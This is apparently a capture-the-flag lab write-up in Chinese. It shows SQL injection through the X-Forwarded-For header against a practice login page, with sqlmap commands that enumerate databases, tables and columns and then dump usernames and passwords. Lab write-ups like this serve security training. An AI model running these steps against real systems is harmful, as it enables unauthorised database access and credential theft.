[ 墨者学院 ] SQL注入 —— X-Forwarded-For注入漏洞实战

0x00.题目描述:

 背景介绍

某业务系统,安全工程师"墨者"进行授权黑盒测试,系统的业主单位也没有给账号密码,怎么测?

实训目标

1、掌握SQL注入的基本原理;
2、了解服务器获取客户端IP的方式;
3、了解SQL注入的工具使用;

解题方向

对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。

0x01.解题过程:

打开靶场环境,可以看到是一个后台管理登录界面

输入用户名(admin)和密码(admin)利用BurpSuite进行抓包分析,可以看到登录失败,并提示登录的IP地址。

下面利用X-Forwoarded-For头伪装127.0.0.1进行测试,可以看到登录地址成功变成127.0.0.1*

复制RAW文件到xff.txt中,这里构造的X-Forwarded-For值为*,经过测试构造为127.0.0.1利用sqlmap跑的时候不会去识别此地方,这里利用*代替后成功执行。

构造sqlmap语句爆出数据库

sqlmap -r xff.txt --dbs --batch

构造sqlmap语句爆出数据库webcalendar的表名

sqlmap -r xff.txt -D webcalendar --table --batch

构造sqlmap语句爆出user表的字段名

sqlmap -r xff.txt -D webcalendar -T user --columns --batch

构造sqlmap语句爆出username和password字段中的内容即可,这里就不剧透username和password的具体内容了。

sqlmap -r xff.txt -D webcalendar -T user -C 'username,password' --dump --batch

利用爆出的用户名和密码登录即可获得flag

原文地址:https://www.cnblogs.com/qtisec/p/11097191.html